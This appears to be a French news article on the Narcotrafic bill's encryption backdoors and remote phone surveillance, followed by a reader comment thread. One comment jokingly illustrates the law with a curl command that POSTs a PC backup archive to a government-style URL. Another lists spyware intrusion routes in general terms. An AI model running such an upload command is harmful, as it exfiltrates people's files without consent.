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La proposition de loi Narcotrafic fustigée pour ses portes dérobées dans le chiffrement

Concert de critiques

La proposition de loi Narcotrafic fustigée pour ses portes dérobées dans le chiffrement

Richard Ying et Tangui Morlier

La proposition de loi Narcotrafic sera présentée en commission des lois à partir du 5 mars. Elle contient un long train de mesures visant à « sortir la France du piège du narcotrafic ». Le texte cumule une pluie de critiques depuis plusieurs mois, particulièrement sur ses mesures d’exception et les dispositions prévues pour les messageries chiffrées, qui seraient forcées d’introduire des portes dérobées.

Le 28 février à 17h30

La lutte contre le narcotrafic est au cœur des débats actuellement. Du 5 au 7 mars, une proposition de loi sera présentée en commission des lois, après avoir été approuvé à l’unanimité par le Sénat. Le texte est d’ailleurs porté par deux sénateurs, Étienne Blanc et Jérôme Durain.

Il prévoit de nombreuses mesures, dont beaucoup font réagir. C’est particulièrement le cas sur l’idée de « dossier-coffre » et les obligations envisagées pour les éditeurs de messageries sécurisées. En France, le chiffrement de bout en bout est une nouvelle fois menacé.

Que dit la proposition de loi Narcotrafic ?

Le texte contient une très longue liste de mesures. L’une des plus importantes est la création d’un parquet spécialisé, nommé Pnaco, pour « parquet national anticriminalité organisée ». Reprenant le fonctionnement d’autres parquets spécialisés (dont le PNF, pour parquet national financier), il ne s’occuperait que des affaires graves dans le domaine du narcotrafic en bande organisée. Jouant un rôle de coordinateur avec les autres parquets, il nécessiterait des magistrats spécialisés. Il serait accompagné de l’EMCO (état-major criminalité organisée), qui agirait comme un service d’enquête renforcé.

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Commentaires (43)

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Les images éphémères pourrait servir en cas d'ouverture de portes dérobés sous whats app , mais sont elles bien supprimés après qu'elles aient disparus de la conversation ?

c'est un peu comme l'histoire des clé TSA pour les valises, ils ont fait les malins en s'affichant avec les clés devant les journalistes et après des petits malins ont pu faire des copies : youtube.com YouTube
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Il s'agit d'une proposition de loi et non d'un projet de loi, puisqu'elle est à l'initiative de parlementaires (2 sénateurs) et non du gouvernement. Cela dit le gouvernement la reprend à son compte puisqu'il a engagé la procédure accélérée sur ce texte. :-(
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Signal, WhatsApp, iMessage ou encore Olvid seraient donc contraints d’obtempérer, sous peine d’amende salée.
Donc ils seraient tranquilles sous Telegram
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Qui seraient tranquilles et pourquoi ?
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Telegram n'est pas cité
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Et moi qui croyais que le "donc" était la conséquence d'un raisonnement puissant !

C'est peut-être parce qu'ils ne font pas de chiffrement de bout en bout par défaut.

Mais de toute façon, tous ceux qui font du chiffrement de bout en bout ne sont pas cités et cela s'appliquerait à tout fournisseur de prestations de cryptologie qu'ils aient ou non accès à la clé privée, pas juste aux messageries.
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Bien vu : donc ça veut dire aussi exit Bitwarden et les autres systèmes de coffre fort numériques...
Il est dommage que l'article de Next ne parle que des messageries, et pas aussi des gestionnaires de mots de passe.
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Pour Biwarden, oui si tu utilises leur solution Cloud. Si tu stockes uniquement chez toi, ce n'est pas cela qui t'embêtera mais uniquement le fait que tu dois fournir le secret permettant le déchiffrement.

Quant au fait que Next ne parle que de messagerie, c'est peut-être lié à la difficulté de comprendre les modifications du texte de loi.
Marc Rees qui a plus d'expérience sur le sujet a appliqué les modifications au texte actuel pour avoir le texte futur (éventuel) en mettant des couleurs et en barrant l'ancien texte. Il a donc pu écrire :
Petite précision : cet article ne concerne pas les seules messageries
Le texte s'applique aux correspondances et aux données, ou dans le texte, aux "informations, documents, données ou renseignements" concernant tous les acteurs...
Il a dû remarquer que le texte de loi modifié était l'article qui régissait de façon générale la fourniture de moyens cryptographiques. Comme je le connaissais, j'ai eu la même réflexion.

Remarque : il indique que les sénateurs n'ont pas compris non plus le texte qu'ils ont voté faute d'avoir pu faire la même chose. Honte à eux !
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Si le "fournisseur de prestations de cryptologie" est Bitwarden Inc, ça veut dire que le logiciel Bitwarden risque d'être illégal, non ?
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Non.
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pourquoi le souligner alors si ça s'applique à tout fournisseur de prestations de cryptologie ?

Ils mettent dans les mains des criminels des pixels avec Anon qui est soit disant intraçable et avec une messagerie chiffré mais ils n'arrivent pas à traiter le flux de messages dessus : youtube.com YouTube ça eu beaucoup de succès auprès des criminels. L’intérêt d'avoir des portes dérobées est toute relative avec des solutions intraçables. Mais dont le FBI a accès directement aux contenus.
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pourquoi le souligner alors si ça s'applique à tout fournisseur de prestations de cryptologie ?
Si tu as des questions de ce type sur le contenu de l'article, ce n'est pas à moi qu'il faut les poser mais à son auteur. C'est maintenant possible de mentionner quelqu'un dans les commentaires avec @ suivi de son pseudo. Une liste de pseudos apparaît quand tu saisis les premières lettres du pseudo juste après le @.
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Cela ne fonctionne pas avec certains pseudos. J'ai voulu mentionné JK dans un autre fil de commentaires et il ne m'a pas été proposé (peut-être parce le pseudo ne fait que 2 caractères).
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Test
@Joan.k.l.m
Ça a l'air de fonctionner, mais bizarrement quand on tape juste @ et J

On voit son pseudo JK apparaître plusieurs fois avec son avatar et ce @Joan... qui apparaît en même temps.
Si on tape @ et JK, son pseudo n'apparaît plus dans la liste.
C'est vraiment étrange.

On verra bien s'il est notifié avec mon test.

Par contre, pour l'auteur de l'article, ça fonctionne bien. :D
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Car c'est déjà troué
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Nos sénateurs sont des génies ! Il ont trouvé le moyen de combler le déficit chronique de l'État.
Ce qui signifie, dans le cas d’une messagerie chiffrée de bout en bout, que l’argument de l’impossibilité technique ne tiendrait pas. Et en l’absence de coopération, l’amende pourrait atteindre 2 % du chiffre d’affaires mondial. Signal, WhatsApp, iMessage ou encore Olvid seraient donc contraints d’obtempérer, sous peine d’amende salée.
Comme il est effectivement impossible techniquement de donner l'accès à des données chiffrées de bout en bout et déchiffrable seulement au moyen d'une clé privée, tous ceux qui fournissent un tel moyen cryptographique à qui on demande l'accès aux données non chiffrées devront payer jusqu’à 2 % de leur chiffre d'affaire mondial en amende. Il suffit de faire la demande 50 fois par an à Meta pour récupérer l'ensemble de son chiffre d'affaire annuel (164 milliards de dollars). Avec cela, la France sera bientôt excédentaire au niveau de son budget.
En fait, je suis optimiste : le déficit de 2023, dernier connu est de 154,8 milliards d'euros (161 milliards de dollars) mais le déficit 2024 sera assez nettement plus mauvais (à peu près 0,6 % de PIB en plus). Il va falloir mettre à l'amende un autre GAFAM.

À moins que toutes les sociétés qui offrent un tel service ne l'offrent plus en France. Les Français seront limités à l'utilisation du ROT13 pour protéger leur vie privée.

La seule solution si le texte passe en l'état, c'est effectivement de ne pas permettre le chiffrement de bout en bout en France avec une clé de déchiffrement inconnue de l'offreur de service.
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J'ai hâte que les puissances étrangères pètent le tel de Macron parce que le chiffrement aurait été affaibli en France.
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Rien n'empêche Macron d'utiliser une messagerie sécurisée gérée par l'État avec une clé privée sur son tel mais sauvegardée offline dans les services appropriés.

Et cette solution pourrait être applicable à tout le monde tout en respectant cette nouvelle loi si elle est votée en l'état.
Ce serait assez difficile à mettre en œuvre de façon sécurisée à grande échelle : le transport de clés privées de façon sure est complexe, mais pour un nombre limité de personnes de l'État qui ont un besoin fort de protéger leur correspondance et leurs données tout en respectant cette nouvelle loi, ça serait possible.
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"Les forces de l’ordre seraient également autorisées à activer à distance les microphones et caméras des smartphones."

Et sans avoir installé volontairement et de son plein gré une app spécifiquement conçue par le Ministère de l'intérieur et donné son accord, pourrait-on savoir comment on peut activer à distance caméra & micro ?

En tout cas, pour mon POCO F2 (@ 2020) pour capter l'image avec la Caméra "Selfie", ils sont bien niqués pour le faire sans que ça se remarque car c'est le seul & unique smartphone que j'ai vu en plus de 15 ans qui a une caméra motorisée caméra motorisée, caméra qui sort du smartphone à l'aide d'un petit moteur électrique.

Pareil que dans Robocop 2 (fan de), quand Murphy est à 2 doigts d'un Shutdown complet et là un petit écran de contrôle sort de son bras droit. Donc pas facile s'ils veulent discrètement me l'activer à distance, ma caméra frontale de F2.

Bref...

Edward Snowden avait dit un jour à un journaliste qu'il venait d'acheter un nouveau robot mixeur pour sa cuisine mais ne pouvait pas en donner la marque... car la NSA aurait apparemment une liste très complète de profils sonores très fidèles des principaux robots mixeurs vendus sur le marché ainsi qu'ils posséderaient des capteurs sonores type parabole équipés de microphones ultra sensibles & performants...

On n'arrête pas le progrès... mais pour des conneries en fait des fois...
:fumer:
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Et sans avoir installé volontairement et de son plein gré une app spécifiquement conçue par le Ministère de l'intérieur et donné son accord, pourrait-on savoir comment on peut activer à distance caméra & micro ?
Pour cela, Pegasus pénètre dans les smartphones, qu’ils fonctionnent sous le système d'exploitation d'Apple, iOS (y compris dans sa dernière version) ou celui de Google, Android. Il a ensuite accès à tout : contacts, photos, mots de passe. Il peut lire les emails, suivre les conversations, même sur les messageries chiffrées, géolocaliser l’appareil et activer micros et caméras pour transformer le smartphone en véritable mouchard.
source francetvinfo Enquête Le projet Pegasus : un logiciel espion utilisé par des États pour cibler des politiques, des journalistes, des avocats... y compris des Français
via next Pegasus : débouté par la Justice française, le Maroc pourrait attaquer la France à la CEDH
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La France n'utilise pas Pegasus. fr.wikipedia.org Wikipedia
Et il me semble que l'on n'a pas de solution équivalente (0 clic = sans intervention de l'utilisateur) si j'ai de bons souvenirs des articles lus ici.
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Donc ça veut bien dire que malgré tous les beaux discours d"Apple et Google, ils ne font aucun effort pour colmater les brèches...

On pourrait même penser que ce soit eux même qui ont créé volontairement ces brèches sur injonction quand le gouvernement US leur a demandé de contribuer à un p'tit effort pour la sécurité nationale du pays...

Depuis déjà les quelques années dont on entend parler de Pegasus, avec toutes les grosses pointures (PhD) chez Apple et Google, ils auraient sûrement dû trouver où étai(en)t le(s) trou(s) à boucher depuis bien longtemps déjà...
:fumer:
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Donc ça veut bien dire que malgré tous les beaux discours d"Apple et Google, ils ne font aucun effort pour colmater les brèches...
l'article de francetvinfo date de 2021, je ne sais pas où ça en est aujourd'hui, ni s'il existe un ou plusieurs logiciels équivalents, je voulais juste donner un exemple qui a déjà permis de
pourrait-on savoir comment on peut activer à distance caméra & micro ?
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Le OnePlus 7 Pro avait aussi une caméra motorisée du genre ;)
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Ha oui exact en effet ! :yes: :incline:

OnePlus 7 Pro

Il faut dire aussi que sur 20 ans de taff, je n'ai vu qu'UNE fois seulement un collègue qui avait un OnePlus comme smartphone... Et je l'ai félicité pour ça.

(De même qu'un seul gars que j'ai rencontré avec un Google Pixel aussi...)
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Sont quand même vachement cons sur la partie qui parle d'activer les micros et caméras... C'est déjà autorisé depuis LOPSSI 2 de faire ça ! ( wikipedia et l'article de loi )

Est ce que c'était déjà honteux à l'époque ? Oui.
Est ce que ça l'est toujours autant ? Oui.

Est ce que 99.99% de la population s'en tartine la babouche ? Oui (malheureusement)
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Ce que je serai curieux de savoir, c'est comment techniquement ils arrivent à faire ça...
:stress:
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Ohhh, je pense qu'on peut imaginer plein de choses :D :
- installation de mouchards physiques sur le PC/smartphone de la cible lorsqu'elle lâche son équipement
- installation d'application sur le PC/smartphone via un accès physique au téléphone (la mallette Celebrite, c'est magique)
- utilisation de vulnérabilités connues (ou non) de type 0 click RCE
- social engineering
- infiltration dans la chaine de transport afin d'accéder aux équipements avec leur mise en vente (ça c'est déjà vu avec la NSA

Le "comment" est à vue de nez laissé à la discrétion des personnes autorisées (la DGSI en somme). Maintenant, c'est certain que mes solutions ne permettent pas une écoute à grande échelle.... Pour l'instant :D.
Sans tomber dans la paranoïa, si demain google/apple/MS permet à un gouvernement de déposer une petite backdoor des familles*, le gouvernement aura déjà préparé le terrein depuis des années et la DGSI pourra sortir cet article et dire "Bah quoi ? On a le droit, c'est tout bon"


*Je ne dis pas que c'est fait, pas fait, que ça se fera, que ça ne se fera pas hein. Je pars juste sur une hypothèse.
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Je n'ai pas l'impression que ça soit la même chose. Dans la loi que tu as mise en lien, il s'agit de dispositifs de la police mis chez les gens, ici, c'est le micro ou la caméra de leur smartphone.
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Pour être sur de comprendre : "dispositifs de la police mis chez les gens", tu parles de mouchards physiques sur l'ordi/smartphone, ou d'un micro/caméra pour écouter directement les personnes ?
Je n'ai pas l'impression que l'article de loi parle du 2eme cas.


Pour moi*, la loi que j'ai linkée définit :
- la mise en place d'un dispositif technique : c'est suffisamment large pour qu'on puisse parler d'un mouchard physique sur l'ordi, de l'installation d'un software, voire de l'utilisation d'une vulnérabilité permettant l'exécution de code
- sur un système informatique : comprendre ordinateur, smartphone, box FAI, ou tout autre équipement avec un processeur
- permettant de sauvegarder et transférer les données : curl http://dgsi.gouv.fr/onsefaitponcer -XPOST --data-binary "@backup_de_ton_pc.gz"
- données affichées, écrites au clavier, reçues ou émises par des périphériques : grosso modo tout ce qui transite sur un canal d'entrée/sortie. Du coup, caméra et micro, ça rentre dans la définition



*Attention, je suis expert en droit uniquement le soir en rentrant du bar :tchintchin: !
Autrement dit : je fais une analyse qui me semble juste mais à tout moment je me gaufre, et je suis évidemment ouvert à la critique et à la discussion bienveillante :)
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Je voulais dire le 2, mais tu as peut-être raison. En creusant, je vois que la notion de dispositif technique est introduite dans l'article Article 226-3 du code pénal est est apparue la première fois en 2011 par la loi d'orientation et de programmation pour la performance de la sécurité intérieure du 14 mars 2011. Avant, l'article de loi ne parlait que "d'appareils".

Néanmoins, la CNCTR (organisme chargé de surveiller les actions des services de renseignement) parle de dispositif technique pour des "balises" permettant la localisation dune personne, d'un objet ou d'un véhicule. On n'est pas ici dans la lutte contre le crime et la délinquance organisée, mais le vocabulaire est le même.

En plus, en relisant les articles de loi que tu as mis en lien, le dernier article dispose que :
En vue de mettre en place le dispositif technique mentionné à l'article 706-102-1, le juge des libertés et de la détention, à la requête du procureur de la République, ou le juge d'instruction peut également autoriser la transmission par un réseau de communications électroniques de ce dispositif.
Cela confirme donc bien qu'un dispositif technique peut être un logiciel puisque transmis par un réseau télécom. Par contre, ce même article limite cette possibilité de transmission sur un réseau au premier article de la page, c'est-à-dire permettant de récupérer des données stockées sur un système informatique ou affichées sur un écran, saisies sous forme de caractères ou encore "telles qu'elles sont reçues et émises par des périphériques."

Est-ce que ce dernier point concernant les périphériques peut concerner les micros ou caméras ? C'est bien possible. Là aussi, ça dépend de si un smartphone est considéré comme un système informatique ou pas, mais la réponse est probablement oui.

Bref, je n'ai aucune idée de qui a raison entre nous deux ! :kimouss:

En continuant à chercher, je suis tombé sur cet article qui allie droit et technique qui apporte des réponses.

L'activation à distance de micro ou caméra a été censurée par le Conseil Constitutionnel. Remarque : il reste possible de le faire en se déplaçant dans le lieu où l'on veut écouter ou voir.
C'est en particulier ce point que veulent réintroduire uniquement pour la lutte contre le narcotrafic. Il est possible que dans ce cas limité, le Conseil Constitutionnel l'accepte.
Il l'avait refusé avec la justification suivante :
Dès lors, en permettant de recourir à cette activation à distance non seulement pour les infractions les plus graves mais pour l’ensemble des infractions relevant de la délinquance ou de la criminalité organisées, le législateur a permis qu’il soit porté au droit au respect de la vie privée une atteinte qui ne peut être regardée comme proportionnée au but poursuivi.
Donc, pour lutter contre la drogue, il est possible qu'il considère que c'est proportionné.
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Très intéressant ces précisions :)
Je vais m'empresser de lire tout ça, merci !
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Donc, pour lutter contre la drogue, il est possible qu'il considère que c'est proportionné.
Ok. Si ça passe pour la drogue, dans 5 2 ans, c'est étendu à toutes les formes de criminalité ... :censored:
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Je n'exprime pas mon avis ici mais une possibilité sur une future position du Conseil Constitutionnel.
Je m'appuie sur cette partie :
non seulement pour les infractions les plus graves
Reste à voir les activités illégales que l'on met dedans, mais ce ne sera pas "toutes les formes de criminalité". Le CC juge de la proportionnalité dans ce genre de cas.

J'ai l'impression que l'on est en train de mettre le trafic de drogue au même niveau que le terrorisme au moins au niveau politique. Quand on voit le nombre de morts qu'il cause, ça peut se comprendre, même si personnellement, je ne suis pas de cet avis. Quand je vois les pubs du gouvernement, culpabilisant les consommateurs sur les conséquences de leur consommation, je pense que ça n'est pas près de changer.

Personnellement, je serais plutôt pour un légalisation des drogues douce ce qui à la fois rapporterait de l'argent à l'État mais surtout diminuerait les guerres de gangs et permettrait aux forces de l'ordre de se consacrer à la lutte contre le trafic des drogues plus dures.

Quand plus de 10 % ont consommé du Cannabis dans les 12 derniers mois, on ne peut pas lutter. La prohibition ne marche pas.

Et je ne suis pas consommateur de drogues illégales et ne l'ai jamais été, donc, je n'ai aucun biais sur le sujet.
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Je te présente mes excuses car mon message n'était pas clair. Je lis tes interventions depuis assez longtemps pour savoir qu'effectivement, tu n'énonçais qu'une hypothèse et non ton avis.
Toujours est il que je suis moins optimiste que toi sur l'extension de ce texte s'il devait passer.
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Même son de cloche dans une tribune des avocats Jean-Yves Le Borgne et Carbon de Seze publiée dans Le Figaro.
Quand même un journal orienté à droite attaque une mesure " sécuritaire ", c'est qu'il y a une sacrée paire dans le potage ... 🥣
« Il s’agit non pas d’écouter tout le monde, tout le temps, sur tous les sujets, mais de s’intéresser aux narcotrafiquants »
Traduction mytho français: « Il s’agit non pas de respecter les principes démocratiques, mais de faire comme moi je dis »

Le succès du n'imp' aux EUA leur donne des ailes à tous, ils osent tout. La lutte contre les terroristes et la pédocriminalité c'est has-been, alors que le narcotrafic ça à l'air tout neuf et hyper-tendance, ça doit faire exploser les score d'audience.

Plus sérieusement, ces histoires de narcotrafic, c'est lié à une quelconque augmentation du phénomène, ou c'est juste une nouvelle séquence politique créée de toute pièce ?
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Et l'autre question, c'est : pourquoi ils ne mettent pas plus de budget dans l'embauche d'enquêteurs ? Si chaque trafiquant de drogue avait 1 enquêteur sur le dos H24, il risque d'être assez vite sur la paille ou en taule.
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Parce que c'est irréaliste :
200 000 trafiquants de drogue en France (estimation) Voir ici (passer en mode lecture pour lire si besoin)
250 000 policier et gendarmes, voir ici.
Et je ne parle pas du nombre de prisons qu'il faudrait construire pour les accueillir !
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C'est un choix : il y a du budget de mis dans la surveillance numérique, ce budget pourrait aider à embaucher des enquêteurs sur le terrain. C'est plus cher, c'est plus compliqué, c'est peut-être peu réaliste, mais ça reste un choix politique... Et jusqu'à présent, je ne vois pas d'efficacité dans la stratégie actuellement appliquée.
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« En l’état, c’est inapplicable. D’ailleurs, on attend de voir le décret d’application, qui est censé préciser comment tout ça doit fonctionner.
Bonne idée. Attendons d'être en chute libre pour se demander si on devait sauter ou pas.
Meredith Whittaker, présidente de la fondation Signal (qui édite l’application et le protocole du même nom), a elle aussi mis en garde. Dans une interview au magazine suédois SVT Nyheter et rapportée par The Register, elle indique que Signal se retirera de tout pays promulguant une loi qui porterait atteinte au chiffrement de bout en bout, sans faire directement référence à la France. Elle était interviewée dans le cadre d’un projet de loi similaire en Suède :
« ... notre réponse est la même : nous quitterions le marché ... ».

Que veut dire "quitter le marché" ? Signal ne serait plus disponible sur les magasins d'applications pour les utilisateurs français (et qur quel critère est-on "français") ? Ou seules les mises à jour seront bloquées ? Pourra-t-on continuer utiliser la version installée, ou même l'accès au protocole sera bloqué ?
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Petite citation de François Pérusse, les deux minutes du peuple, le trafiquant de drogue quand les flics débarquent chez lui.

- Vous n'avez aucune preuve !
- Vous avez l'air stupéfait.
- Naturellement !
- C'est nous qui vous stupéfions ?
- Qui d'autre ?
- Nous sommes donc des stupéfiants.
- Evidemment.
- Ben quiconque a des stupéfiants dans sa demeure a de bonnes raisons d'être arrêté ! Embarquez-le !

(logique implacable)
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Que de souvenirs !! J'avais le CD que m'ont fils a découvert vers l'âge de 10-12 ans : il a dû l'user à force de l'écouter.
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En l'état, l'article 8ter est contraire aux droits humains.
La Cour européenne des droits de l'homme (CEDH) s'est déjà positionnée sur le sujet.

next.ink Next

En votant cette loi, la France violerait le droit au respect à la vie privée et à la correspondance.

Finalement, et si le vice-président américain J. D. Vance avait raison quand il déclarait qu' « En Grande-Bretagne et à travers l’Europe, la liberté d’expression, je le crains, est en retrait » lors de la Conférence de Munich sur la sécurité. :francais:

La proposition de loi Narcotrafic fustigée pour ses portes dérobées dans le chiffrement

  • Que dit la proposition de loi Narcotrafic ?

  • Sur le terrain numérique, renseignement algorithmique et portes dérobées

  • « En l’état, c’est inapplicable »

  • Déluge de critiques

  • Problématiques géopolitiques

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